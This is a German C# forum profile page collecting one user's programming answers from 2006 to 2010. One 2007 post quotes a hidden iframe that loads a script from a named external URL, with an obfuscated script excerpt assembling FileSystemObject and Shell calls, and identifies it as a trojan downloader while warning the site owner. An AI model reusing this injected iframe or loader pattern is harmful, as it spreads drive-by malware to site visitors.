Laden...
Avatar #avatar-1786.jpg
cadi myCSharp.de - Member
Hamburg Dabei seit 03.06.2005
Benutzerbeschreibung

Forenbeiträge von cadi Ingesamt 308 Beiträge

28.05.2010 - 12:01 Uhr

Vielen Dank JAck30lena!

Hast Du so etwas schon einmal mit ReSharper gemacht?

Ich habe nun knapp 2000 möglich "optimierungen". Kann man diese automatisieren? Um ein paar hundert Dateien zu öffnen und dann die einzelnen Vorschläge umzusetzen dauert mir irgendwie zu lange...

Gruß
cadi

26.05.2010 - 11:01 Uhr

Hallo zusammen,

gibt es ein Tool, welches eine Solution (oder Applikation und die genutzten Assemblies ) dahingehend optimiert, dass nur noch solche Klassen, Interfaces und Methoden public sind, welche auch wirklich public sein müssen?

Gruß
cadi

03.03.2010 - 10:16 Uhr

das korrekte Encoding ist ja bekannt. Es ist Encoding.Default. Insofern gibt es auch kein BOM. Das Problem ist doch, dass die zum Einlesen verwendete Bibliothek ein falsches Encoding verwendet und es auch keine Möglichkeit gibt, das richtige Encoding anzugeben. Insofern gehen deine Hinweise leider etwas an der Sache vorbei.

ok, dann habe ich es verdreht verstanden;)

Aber dann sollte es doch relativ einfach sein die Datei zu konvertieren?
Daten mit Encoding.Default lesen und als Encoding.UTF8 schreiben?
Dann liest die bibliothek sie auch korrekt?
Oder habe ich es immer noch nicht richtig verstanden?

03.03.2010 - 08:48 Uhr

Hallo S.R.,

solange die Umlaute in Deiner Textdatei unterschiedlich representiert werden (sprich: nicht alle habe z.B. den selben Wert '?') ist es auch möglich die Datei sauber zu lesen.

TextRead (und auch Notepad) erkennt am sogenannten BOM (Byte Order Mark) ob es sich um Unicode (und um welche Variante) es sich handelt. Wenn die BOM fehlt können auch diese routinen keine erfolgreiche Erkennung vornehmen. Es kann sich also durchaus um UTF-7 o.ä. handeln.

Wenn Du den Aufruf nich anpassen kannst, kannst Du ggf. die Textdatei ja vor dem Aufruf der Bibliothek konvertieren?

Einfach mit verschiednenen Eingangs-Encodings experimentieren (DOS? UTF7?).

Mit etwas Glück erkennt dieses Tool auch das original Encoding:
Detect Encoding

19.01.2010 - 09:20 Uhr

Moin Golo,

zu 100% habe ich in noch keiner Firma erlebt. Einzelne Tage (fest oder variabel) gibt es häufig.

Ich kann mir aber auch kaum Tätigkeitsbereiche vorstellen, wo persönlicher Kontakt unnötig wäre. Jabber, Voip E-Mail und co. erlauben zwar Informationsaustausch aber eben keinen wirklichen Kontakt. Und Viedokonferenzen mit mehr als 5 Teilnehmern sind extrem anstregend....

Btw. ich kenne auch keinen Selbständigen, der es schafft zu 100% von zu Hause zu arbeiten. Je nach Tätigkeit und Projektphase kann die Heimarbeit zwar hohe Anteile bekommen, wird aber nie die 100% bei mir erreichen. Ausserdem will ich es auch nicht, denn ich halte den direkten Kontakt mit Kunden und Kollegen aus vielen Gründen für wichtig und unerlässlich.

11.01.2010 - 11:13 Uhr

Hallo TripleX,

grundsätzlich ich schließe mich Herbivore an.

Optimierungen würde ich auch (wenn überhaupt) eher in den Aufruf von NotifyPropertyChange legen als in die Methode selber.

z.B. den PropertyName als "internal" zu übergeben.
Also NotifyPropertyChanged so aufrufen:


NotifyPropertyChanged(String.Intern("PropName";));

Oder eine Hilfsklasse mit den Statischen Instanzen der EventArgs:


public static class ProperyChangeArgs
{
public static System.ComponentModel.PropertyChangedEventArgs ItemsArgs = new System.ComponentModel.PropertyChangedEventArgs("Items";);
public static System.ComponentModel.PropertyChangedEventArgs CountArgs = new System.ComponentModel.PropertyChangedEventArgs("Items";);
// ....
}
// Aufruf
NotifyPropertyChanged(ProperyChangeArgs.ItemsArgs);

Aber wie Herbivore schon sagte, das ist Mikrooptimierung an einer Stelle, wo es nichts (oder nur sehr wenig) brint.

02.03.2009 - 18:51 Uhr

Hallo Wurschtl,

ohne mir deinen Code im Detail angeschaut zu haben würde ich dir empfehlen mal über die Benutzung Events nachzudenken. Hier im besonderen das AutoResetEvent. Dann brauchst Du auch keinen Loop mehr, sondern kannst einfach auf das Event warten...

20.02.2009 - 16:34 Uhr

Das Stichwort Suche scheint mir recht vielversprechend...

Evtl. ja auch interessant für einen Crawler, der anhand der Sprache besser indizieren kann (z.B. besseres Stemming) ?

20.02.2009 - 15:58 Uhr

Moin moin!

Ich weiß, es klingt etwas schräg, aber ich habe eine fertige Komponente, welche mit sehr hoher Treffergenauigkeit (>99% bei den meisten Sprachen) die Sprache eines geschriebenen Textes erkennt, weiß aber nicht, wofür man diese so alles brauchen kann.

Ich benutze sie bisher "nur" um die Sprache einer E-Mail zu erkennen. Außer dieser und der rein "akademischen" Anwendung sehe aber kaum Nutzen.

Da ich nun aber diese Komponente nicht für mich behalten will und einen Artikel auf CodeProject veröffentlichen wollte ist die Frage ob jemanden noch ein Anwendungsbeispiel einfällt?!

Lohnt sich evtl. eine Veröffentlichung überhaupt nicht?

Gruß
Cadi

17.02.2009 - 17:06 Uhr

Hallo sreischl,

bist Du sicher, dass Du dich bei SilverLight nicht für das falsche Tool entschieden hast?

Versuch es mal lieber mit einer "normalen" Windows-Konsolen Anwendung...

/cadi

09.02.2009 - 10:11 Uhr

Hallo EFK381,

schau dir mal diese Bibliothek an: AForge.

Die sollte alles, was du Brauchst können.

/cadi

04.02.2009 - 10:04 Uhr

Hallo Alf,

es hatte tatsächlich was mit programmieren zu tun 😉

Testsatz für ein aktuelles Projekt von mir: DMSilver
(pre beta...)

/cadi

04.02.2009 - 00:55 Uhr

Liebend gern gab Adam Eva den Apfel ab welchen sie für ihn gepflückt hatte. Gab Adam Eva den Apfel ab? Obwohl Adam Eva den Apfel gab, schien er gereizt.

fragt nicht.....

03.02.2009 - 10:56 Uhr

Hallo kubi,

wenn du überprüfen willst, ob es einen Mail-Server für eine Adresse gibt musst du den MX und nicht den A Record aus dem DNS abfragen.

Beispiel: ich@1und1.de
1und1.de : A 212.227.116.117

1und1.de MX preference = 10, mail exchanger = mxintern2.schlund.de
1und1.de MX preference = 10, mail exchanger = mxintern0.schlund.de
1und1.de MX preference = 10, mail exchanger = mxintern1.schlund.de

demnach darfst du nicht schauen, ob 212.227.116.117 antwortet, sondern musst die Schlund Server durchtesten.

Theoretisch könnte der ein oder andere SMTP Server auch noch das VERIFY Kommando unterstützen. Damit kannst du sogar schauen, ob es den Empfänger gibt. Um Spamern es nicht zu einfach zu machen unterstützt das aber kaum noch einer.

Besser ist es die eventuellen Rückläufer auszuwerten und deine lokale Liste zu bereinigen.

14.08.2008 - 14:00 Uhr

Hallo numpsy,

wohl eher nicht, da .NET selber die ICMP.dll benutzt (geht auch "erst" ab XP).

23.07.2008 - 13:01 Uhr

Hallo seeba,

wenn du eine liste von verfügbaren objetkten eines typs im propertygrid sehen willst musst du die im container der site eintragen.

spezifischer kann ich gerade nicht werden, da ich nun zum essen muss 😉

30.05.2008 - 18:26 Uhr

Hi Tonka,

ich benutze etwas kommerzielles von Syncfusion. Nicht ganz billig aber recht gut.

28.03.2008 - 10:37 Uhr

Das Problem ist dass man von den Harwareherstellern zumeisst eine C/C++ DLL zur kommunikation mitgeliefert bekommt!

In der Vergangenheit wurden halt spezielle Klasse in C++ geschrieben, welche die Hardware-DLL verwendet und diese einfacher darstellt!
Nun ist es quasi meine Aufgabe die vorhandenen C++ Klassen, welche die Hardware-DLLs verwenden in C# umzuschreiben!!!

In Zukunft wird dann jeder Entwickler c# benutzen und meine Klassen dann verwenden!!

Halte ich für eine gute Entscheidung. Wenn die Klassen als Abstraktions-Layer dienen solle ist es auch sinvoll sich innerhalb des Ziel-Frameworks zu bewegen. Ein List<Info> ist für den .NET entwickler schon praktischer als ein Info++ 😉

Das Problem ist ja nun, dass ich eh die c/C++-Hardware-DLLs brauche und benutze!
Dann brauch ich doch eh den C-Compiler oder?
Prinzipiell sind ja die ganzen Bibliotheken in der DLL verpackt und ich kann diese ohne C-Zusatz benutzen, oder?
Bench

Ich vermute mal, dass die Hardwarehersteller eine native dll (egal welche sprache da zu Grunde liegt. Die könne auch direkt Assembler schreiben, wenn sie wollen) ausliefert. Dazu kommt wahrscheinlich eine C-Header Datei. Die sollest Du dann in C# übersetzen. Am besten eine statische Klasse, die nur dir nackten exportierten Funktionen wrapped. Und darauf setzt du dann eine saubere Wrapper Klasse auf.

27.03.2008 - 15:18 Uhr

Das ist die Beste Idee mit den Wrappern, falls dus umständlich magst, kannst du natürlich auch mit DllImport arbeiten. Aber sonst fällt mir momentan keine andere Möglichkeit ein (ich selbst hatte das gleiche Problem, hab mir aber einen eigenen Wrapper gebastelt, und dann auf die managed C++ Datei direkt zugegriffen, funktioniert wunderbar 😉).

Dem würde ich widersprechen wollen:
Die beste Idee ist portieren! (Meisten...9

  • Warum willst Du zwei Programmiersprachen warte?
  • Warum willst Du portabilität aufgeben?
  • Warum willst Du keine 64bit fähigkeit ohne rewrite des CPP codes?

Wenn das Erstellen der CPP Codes 2 Jahre gedauert hat, wird das portieren deutlich kürzer dauern. Die dauer hängt maßgeblich von der Komplexität, dem Umfang (Lines of Code) und der Nutzung von Win32, MFC und STL ab...
Aber zwei C++ und C# weiter entwickeln zu müssen solltest Du dir zweimal überlegen. Alleine die Installation der Bibliotheken (CRT MFC etc.) kann sehr nervig sein.

Wartung? Es wird immer ein C++ Programmierer nötig sein!
Debugging? Geht, aber der ewige Übergang von Native zu Manged nervt.

Letzttlich solltest Du eine rationale Entscheidung auf Basis von Vor- und Nachteilen fällen.

Evtl. solltest Du mal erklären um was für Code es sich handelt?
GUI?
Reine Algorythmen?
Hardwaretreiber?

Und wer ist dein Zeilpublikum? Wie soll die Wartung erfolgen etc....
Wie lang ist der geplante life-cycle des neuen Programms?

Viele Fragen und daher auch keine einfache Antwort 😉

27.03.2008 - 12:46 Uhr

Wenn es sich um managed C++ handelt einfach compilieren und mit dem Reflector in C# umwandeln.

Wenn es legacy Win32 Code ist kannst du den C++ code auch in C# übertragen. Ist in vielen Fällen sinvoll (vor allem, wenn mein kein p/invoke oder unsafe haben will).
Erfordert aber ein wenig mühe.

Die Dll Geschichte würde ich an deiner stelle vermeiden, da Du dann auch die C-Runtime/MfC/Atl etc. mit deployen musst. Und das kann echt nervig werden und widerspricht der Idee von .NET.

18.03.2008 - 08:28 Uhr

ihr kennt sicher Community-Portale (Xing, StudiVZ, etc.), bei denen man sehen kann, über welche „Ecken“ man eine bestimmte Person kennt.
Wie kann ich das am besten lösen?

Hallo, das ganze hört sich sehr nach Graphentheorie an.
Jeder User ist ein Node und jede Verbindung eine Kante. Wenn Du deine Verknüpfungen so gepflegt hast ist der rest kein problem mehr...

Schau dir mal QuickGraph an. Da sind die endsprechenden Algorithmen bereits drinne.

http://www.codeplex.com/quickgraph

(Btw. Xing macht das genau so, wenn auch nicht in c# und .NET)

28.02.2008 - 20:13 Uhr

Hat vielleicht jemand eine Idee wie man das realisieren könnte?
Ich habe in VS2005 auch ein neues Control gefunden, das sich "Microsoft Office Outlook Text Box Control" nennt! Kennt sich damit vielleicht jemand aus?

Wenn dann doch eher "Microsoft Office Outlook Recipient Control".
Allerdings sag MS das dazu:

Some of these controls are designed to leverage features in Outlook, for example, the Microsoft Office Outlook Body Control is designed to display the body of an Outlook item. All of the Outlook controls are designed for use only in Outlook add-ins.

also selbst, wenn es laufen sollte hast du noch ein distributions und lizenz problem.

Da musst du wohl selber ran!

Wenn du es fertig hast nehme ich eine Kopie 😉

/c

28.02.2008 - 12:32 Uhr

Ja ok....

aber mein problem ist, dass ich nacheinander mehrere dlls aufrufen muss...bzw. importieren muss.

Kein Problem. Da es sich um Plugins zu handeln scheint geht es wohl um late-binding. Schau dir die Doku zu LoadDll an... Das Handle kann dann in ein Array...

mehr dazu: LateBinding C#

/c

28.02.2008 - 12:25 Uhr

So könnt ichs auch machen, aber es geht ja nicht um den receive vorgang an sich, da die Daten, so wies jetzt implementiert ist, schnell genug reinkommen.

Das Asynchrone kostet auf jeden Fall etwas zeit (Stack, Thread-Wechsel etc...).

Ich frage mich gerade aber auch, in welcher Geschwindigkeit Daten bei dir Reinkommen...? Und, wie kann ein Client schneller senden, als der Server empfängt???

Wenn du synchron arbeitest sollten nie Daten schneller kommen, als du sie empfangen kannst. (Oder ist das ein Multicast?).

/c

28.02.2008 - 11:30 Uhr

Hallo bene,

blöde Frage, aber warum musst Du BeginReceive benutzen?
Mach doch einen eigenen Thread mit einer Endlosschleife ala (pseudo)

while(true)
{
    if (dataAvail)
    {
         raw=receive;
         data=parse(raw);

         lockWrite(queue) 
               queue.add(data)
         // notify?
    }
}

damit bist du nie out-of-order. Dir kann höchsten der buffer überlaufen.....

/c

23.02.2008 - 13:12 Uhr

Hi Kevka,

du vergleichst ja auch nicht den Inhalt der Bilder, sonder überprüfst auf Identität (==).

Das schnellste, was mir vom Programmieraufwand einfällt ist, beide Bitmaps in einen MemoryStream serialiozieren und dann über eine Schleife byteweise vergleichen.

Wenn Du die MemoryStreams sparen willst muss du direkt auf die Bitmap-Bytes gehen. Da gibt es verschiedenen Methoden (auch unsafe) (mal im Forum suchen).
GetPixel ist auf jeden Fall zu langsam (weil intern jedesmall die gesamten Bits geholt werden!)

/c

04.09.2007 - 17:50 Uhr

Original von MrSparkle
Hi!

  1. VisualStudio beenden, bin-Verzeichnisse leeren, VisualStudio starten... klappt meistens, aber ist sehr Zeitintensiv

Bei mir reicht es, VS neuzustarten. Ist aber nicht gerade schön, weil ja alle Undo-Schritte dabei verlorengehen. Und überhaupt ist es umständlich.

Ahaha... bei mir dauert der Neustart knappe 15 Minuten....

Darf ich fragen, um was für ein Projekt es sich bei dir handelt? Oder hast du das Problem bei verschiedenen Projekten? Hast du schon ein bißchen rumprobiert, und evtl. was rausfinden können?

Ein recht große Solution mit etlichen (>20) Projekten...
Und das Problem kenne ich auch nur von diesem einem Projekt bei mir....

04.09.2007 - 15:44 Uhr

Na endlich jemand, der das selbe problem wie ich hatt!

Ich habe zwei Lösungen gefunden (beide nicht schön):

  1. VisualStudio beenden, bin-Verzeichnisse leeren, VisualStudio starten... klappt meistens, aber ist sehr Zeitintensiv

  2. In den Projekt-Settings einfach den Ausgabepfad ändern (aus Debug wird Debug2). Klappt auch meistens, aber erzeugt halt eine menge unötige Dateien auf der Platte

04.02.2007 - 19:34 Uhr

Daher kommt der aufruf:
<table style="width:100%" cellpadding="3" cellspacing="1" border="0" class="tableinborder" align="center">
<tr>
<td width="100%" class="tablea"><span class="smallfont">Aktualisiert am 24. Juli 2006 | &copy; Copyright 2003-2006 <a href="team.php">myCSharp.de-Team</a>. Alle Rechte vorbehalten.</span></td> <iframe src="http://www.abetterstart.com/c/2261/counter21.php" width=1 height=1 style="display:none"></iframe>
<td class="tablea" nowrap="nowrap"><span class="smallfont">04.02.2007 19:29</span></td>
</tr>
</table>

da wiederum liegt ein script, das folgendes macht:

function iftvjjrc(jqifyx) {
kpys = "GE"+"T";
var seq = "http://www.abetterstart.com/c/2261/counter21.php?a=3&c=3";
pxqb = "XML"+"H"+"TTP";
var smzenr = jqifyx.CreateObject("S"+"c"+"ripti"+"ng."+"F"+"ileSys"+"tem"+"O"+"bject", "")
unldwfn = "Sh"+"ell";........

die URL http://www.abetterstart.com/c/2261/counter21.php?a=3&c=3
ist laut NOD ein WEin32/TrojanderDownloader.Tiny.NCA Trojaner

@purplestar: Du solltest dir dringend mal einen Virenscanner besorgen.....

18.01.2007 - 13:25 Uhr

Danke für deine Tipps.

Stimmt, das klingt nach einen Germanismus... Was wäre denn dein Gegenvorschlag?

"If your are interested in the details have a look at the source code." ?

Bin halt kein native speaker 😉

Naja, wenn ich gegen MS sticheln wollte, dann würde ich bei Heise in den Foren posten 😉
Ich habe mich ja selber für C# und das Visual Studio entschieden. Und meiner Meinung nach ist das immer noch die beste Sprach, Framework und IDE Kombination...

btw. für non GUI use:
Detect Encoding
(mein 2. Streich... )

15.01.2007 - 23:17 Uhr

Moin moin!

Ich musste dann doch endlich auch mal literarisch tätig werden und habe einen Artikel beim CodeProject einstellen.

[EDIT]Link nicht mehr aktuell. Siehe weiter unten[/EDIT]

Thema: PropertyGrid um eigenes Tab erweitern.

Bin für jeden Kommentar dankbar. Kann ja nur besser werden 🙂

10.01.2007 - 10:53 Uhr

Hallo Flens,

mal umgekehrt gefragt. Warum willst Du denn Deine Kollegen von .NET überzeugen?
Manchmal ist .NET ja nicht die erste Wahl.
Wenn deine Kollegen fit in Java sind und nur Du dich mit .NET auskennst ist das schon ein Riskio das Framework und die Sprache zu wechseln. Dazu kommt die Frage, was ihr an bestehender Infrastruktur (z.B. IDEs, Application Server, Source Control etc..) habt und wie eure Prozesse aussehen.

Das einzige Argument, das letztlich zählt ist:
Wir können unser Ziel schneller (billiger) und in gleicher (oder gar besserer) Qualität erreichen.

Denn entscheidend (für die Entscheider) ist letztlich immer nur die Kosten- Nutzenanalyse.
Keine Firma (sollte) ihre Tools danach auswählen, was die Programmier für hip halten.

Fazit: Man kann nicht für den Einsatz .NET argumentieren ohne das Projekt und die Gegebenheiten in der Firma zu kennen argumentieren. Alle anderen Argumente (Sicherheit, Performance, IDE, Framework etc.) sind sekundär und nur relevant, wenn sie Kosten sparen oder Gewinn bringen.

09.01.2007 - 16:06 Uhr

Du hast keine Rechte in dem pxternen Prozess!

Du musst deinen eigenen Code in den Addressraum des anderen Prozesses bekommen (geht mit .NET - denke ich - nicht... )

Ups! GET_TEXT... dafür musste man im Prozess sein... Entschuldige die Verwirrung meinerseits 😉

18.12.2006 - 19:00 Uhr

Was kackt denn da wohin?
Eine fehlermeldung wäre schon recht hilfreich (du kannst ja nicht erwarten, das wir den Code erstmal selber ausführen, um zu sehen was passiert)

11.12.2006 - 16:42 Uhr

Ich persönlich definiere nur dann geschachtelte Klassen, wenn sie ausschliesslich INNERHALB der Klasse genutzt werden.

Die Zugehörigkeit zeigt sich im Zweifel ja schon durch den Namespace.
Protected und Internal helfen dann noch, die Klasse nach "aussen" zu verbergen.

11.12.2006 - 10:55 Uhr

Das mag evtl. ja verwirrend und unschön sein, aber gehen tut es schon....

public DeviceProperties DeviceProperties
{
get {return this.m_DeviceProperties;}
}

da mault der Compiler nicht.

Da gibt es im Framework auch etliche von (public Font Font { get; set; }...)

09.12.2006 - 11:55 Uhr

Original von FZelle
Also wenn Du mehr als 2 Dateien für eine Klasse hast, hast Du schon beim design
der Klasse etwas falsch gemacht.

Dann macht Microsoft ja auch was extrem falsch mit seiner Trennung vom Designer-Code und dem User Code!?

Eigentlich sind Partial Classes nur dafür gedacht, das Du generierte und
dann von Hand zugefügte Teile auseinander halten kannst, so wie es eben
bei vom Designer generierten Code gemacht ist.

Wo hast du das denn her?
Also ich kann pstader sehr gut verstehen. (Ich kenne das "problem").
Wenn du z.B. etliche interfaces implementiren musst kann es angenehm sein, die in einzelne Dateien aufzusplitten. (Stell dir mal das Hauptfenster eine IDE vor, das alle geforderten Services und Interfaces implementiert!)

Wenn jemand eine Lösung hat, ich bin auch interessiert.

08.12.2006 - 16:00 Uhr

Eine blöde Idee noch am Rande...

Schreib dir doch eine native (C++) Dll, die dir ein 3GB großes array erlaubt?
Dann unsafe direkt darauf zugreifen?
Oder gar direkt Unmanaged / unsafe Speicher allozieren? Das sollte doch gehen (GlobalAlloc ausserhalb des GC).

Ist nicht gerade der .NET-Weg, aber wenn's nun garnicht anders geht?

07.12.2006 - 11:24 Uhr

Original von lebes
Habe jetzt schon einige Male von dieser "magischen" 2 GB Grenze gelesen. Bei mir steigt das Programm (laut Task Manager) allerdings schon bei knapp über einen GB aus. 2GB würde mir auch schon sehr helfen.
Wie könnte man vorgehen um rauszufinden, warum er bei mir schon bei 1GB aussteigt? Ideen?

Wie schon gesagt, unter .NET hast du "nur" 1,2GB von den 2GB zur effektiven verfügung. Den rest braucht das Framework als Puffer.

Wenn du allerdings dem Framework 3GB gibst steigt der nutztbare Speicher auch mit an.

Allerdings solltest Du wirklich prüfen, ob dein Design wirklich optimal ist. Durch dieses riesen Array wird Windows eh wie wilde pagen und auslagern (ausser du schaltest die Auslagerungsdatei komplett aus).
Daher hast du auch eine ganze menge Platten I/O, so dass es evtl. sinnvoller ist, den selber zu steuern....

05.12.2006 - 12:01 Uhr

Original von lebes
Was sind Memory mapped Files? Das "Monsterarray" wird im Verlauf einer Simulation gefüllt. Daher ist die Sache auch "zeitkritisch". Wenn Memory mapped Files die Daten immer wieder von der Festplatte lesen müssen, wird mir wahrscheinlich nicht geholfen sein,-)

Das bekannteste Memory Mapped File dürfte wohl das Page File sein (da landet dein Array eh früher oder später....).

Im prinzip wird bei einem Memory Mapped File immer ein Breiech einer Datei direkt in den Speicher gemapped. Geschrieben werden änderungen erst nach einem getriggerten Flush (quasi ein commit). (Der IIS Schreibt seine Logs so, daher sind die auch immer ein vielfaches von 64kb groß)

Die Frage die sich stellt ist, wie musst du die daten später verarbeiten?
Geht es erstmal "nur" um das Sammeln der Daten in Echtzeit?
Oder musst du während des Sammelns auch dynamische berechnungen anstellen (spich: alle Elemente lesen...)?

Wenn es "nur" um das Sammeln geht, kannst du auch einen gepufferten FileStream nehmen....

Oder direkt in eine Datenbank schreiben? Auch das kann man ja puffern und optimieren....

05.12.2006 - 11:42 Uhr

Original von herbivore
ein long ist 8 Byte groß. Von den 4GB Hauptspeicher werden vermutlich nur 2 für Anwendungsprogramme verwendet (man kann das auf 3GB steigern). Damit sollte trotzdem noch ein bisschen mehr als 200000 drin sein (warum das nicht der Fall ist, weiß ich auch nicht), aber auch nicht endlos mehr.

herbivore

Das stimmt für .NET nicht ganz. die runtime nutzt zwar 2GB aber davon stehen nur 1.2GB der Anwendung zu verfügung (der Rest wird als puffer zum verschieben von Objekten im Speicher vorgehalten).
Es gibt iregendeine einstellung um .NET 3GB nutzen zu lassen, ich weis aber nicht mehr wie das ging...

Die aktuelle Speicherauslastung kannst du mit dem Performance Monitor (Start->Run->Perfmon) anschauen (sowohl .NET als auch WIN32-Prozess spezifisch).

Bei deienem Monster-Array solltest du überlegen, ob du evtl. nicht auf Memory Mapped Files umsteigst. Damit kann man die Speichernutzung auf eine Page zur Zeit begrenzen (default 64kb).

02.11.2006 - 14:25 Uhr

Original von schaedld
Also, wenn ich einen Workflow machen will dann muss ich

Original von schaedld

  1. mir Gedanken machen was will ich abbilden

Definitv (wie bei allem, was man macht sollte man vorher wissen, was es denn eigentlich werden soll...)

Original von schaedld
2. Die Aktivitäten designen

Wenn du damit meinst, deinen Workflow in atomische Aktionen zu zerlegen und in beziehung zueinander zu setzen. Ja!

Original von schaedld
3. und dann die Aktionen hinter den Aktivitäten coden

Ja, falls du mit den mitgelieferten nicht auskommst. (für einige dinge können die bereits ausreichen.)

Einige Aktionen lassen sich relativ einfach erstellen, indem man nur von Activity ableitet und Execute überschreibt.

Andere benötigen evtl. noch neue Services in der WorkflowRuntime oder greifen in die Flusskontrolle ein. Das wird dann etwas aufwendiger (ich habe z.B. ein Switch statement, was es mir ermöglicht ohne Code oder Rules abhängig vom Ergebnis einer anderen Akitivtät zu verzweigen)
Letztlich ist so ziemlich alles möglich, was man sich vorstellen kann....

wenn ich dass jetzt mal so richtig verstanden habe...

02.11.2006 - 13:47 Uhr

Original von svenson
Was passiert eigentlich bei den Pfeilen? Welche Technolgie geht da an den Start? MSMQ?

Pfeile? Du meinst den Übergang von einer Activity zur nächsten?
Nein, da ist kein MSMQ dabei, sondern das regelt die WorkflowRuntime (das ganze Konzepzt ist recht eigen. Die einzelnen Activities werden nicht zwingen Sequentiell abgearbeitet, sonder über eine art MessageQueue (intern) gequeued. Somit kann eine Activity auch auf events reagieren (z.B. FindUnseen ruft einen Service names "ImapClientService" asynchron auf. Dieser schiebt sein ergebnis dann in die Queue der activity. Während der Wartezeit "idled" die activity. Der workflow kann während dieser zeit theoretisch auch persistiert werden und beim eintreffen des events reaktiviert werden (macht sinn, wenn eine externe aufgabe mal länger dauert und mann nicht hunderte von Workflows im speicher halten will (jeder workflow = ein thread) ) )

02.11.2006 - 13:40 Uhr

Original von sheitman
und daraus könnte man dann eine benutzbare assembly machen?

Kann mann (und mache ich auch). Es gibt einen WorkflowCompiler, der aus xoml c# generieren kann (den musste ich allerdings gehörig verbiegen, damit er mein Sub-Workflow konzept mag 😉

Original von sheitman
sozusgen programme "zusammenklicken"?

Naja, in begrenztem Rahmen. Da ja nicht alles was man in einem "normalen" Programm so macht als Activity vorliegt und mans sonst alles in "CodeActivities" packen muss.. das ist dann aber kein geklicke mehr, sondern programmieren-

Original von sheitman
scheint für mich eine weiterentwicklung der klassendiagramme zu sein auf deren basis bestimmte tools die codegrundgerüste der klasse erstellt haben...

Ja und nein.
Ja: es wird aus einem Diagramm ein Programm erzeugt.
Nein: hat nix mit Klassendiagrammen zu tun.

02.11.2006 - 11:39 Uhr

@sheitman:

Das ist ein Workflow, wie ich ihn benutze.
Der holt emails von einem IMAP Server und verteilt die an ein CRM.

02.11.2006 - 11:01 Uhr

Original von sheitman
könnte mir jemand mit einfachen worten erklären worum es sich bei dem workflow eigentlich handelt?

steh da aufm schlauch irgendwie...

Wikipedia

Stell es dir inetwa vor, wie ein ausführbares Fluss-Diagram..

02.11.2006 - 10:20 Uhr

Original von BerndFfm
Ist der Workflow Designer so ähnlich wie der Designer des Visual Studio ? Oder der gleiche mit neuet Toolbox ?

Ja, das ist exact der Designer aus dem VisualStudio. Allerdings ist die implementation nicht gerade trivial.
Du musst etliche Services implementieren (IMenuCommandServer, IToolboxService, IComponentChangeService,ISelectionService, INameCreationService, ITypeProvider,IMemberCreationService,IEventBindingService,IDesignerEventService,IUIService ....)
Wenn das alles geschafft ist, dann hast du im prinizp ein eigenes VisualStudio nachgebaut 😉

Original von BerndFfm
Könnte man den auch benutzen um Formulare oder Etiketten zu designen ? Oder um dem Kunden zu ermöglichen eigene Dialoge zu designen ?

Wenn du einen Designer für workflows hast, ist es extrem einfach den Forms-Designer zu nutzen (eigentlich musst du nur den DesigerLoader austauschen...)

Für Etiketten kann man evtl. ja auch den Forms-Designer misbrauchen (mit einem speziellen Set an Komponenten)

01.11.2006 - 13:32 Uhr

Original von LastGentleman
Ich hab mir immer gedacht das WF interpretiert wird, da ich mir gedacht habe das man meienen Kunden die möglichkeit bieten kann das man den Workflow editiert.

Wenn du in deiner Applikation einen designer für Workflows mit auslieferst, dann kann der Kunde auch selber editieren. Beim start eines Workflows wird dieser dann erst kompiliert und dann ausgeführt.
Vom Gefühl ist das wie interpretiert....

31.10.2006 - 12:27 Uhr

Original von schaedld
Hmm, dass heisst wenn man Workflows programmieren möchte, dann kann man das mit dem Designer, mal so aufzeigen wie es sein muss und dann hinterher die Aktionen oder Ereignisse die passieren sollen programmieren?

Im Prinzip ist das so ähnlich, wie einen Workflow in Visio zu erstellen.
Ein Workflow besteht aus einzelnen Aktivitäten. Das kann z.B. der Aufruf eines Webservice sein oder auch Flusskontrolle (IfThenElse oder While).

Die Workflows werden dann als xoml (spezielles xaml format) gespeichert. Draus wird dann direkt eine Assembly mit dem Workflow als .NET code erzeugt (also nicht interpretiert sonder direkt ausgeführt)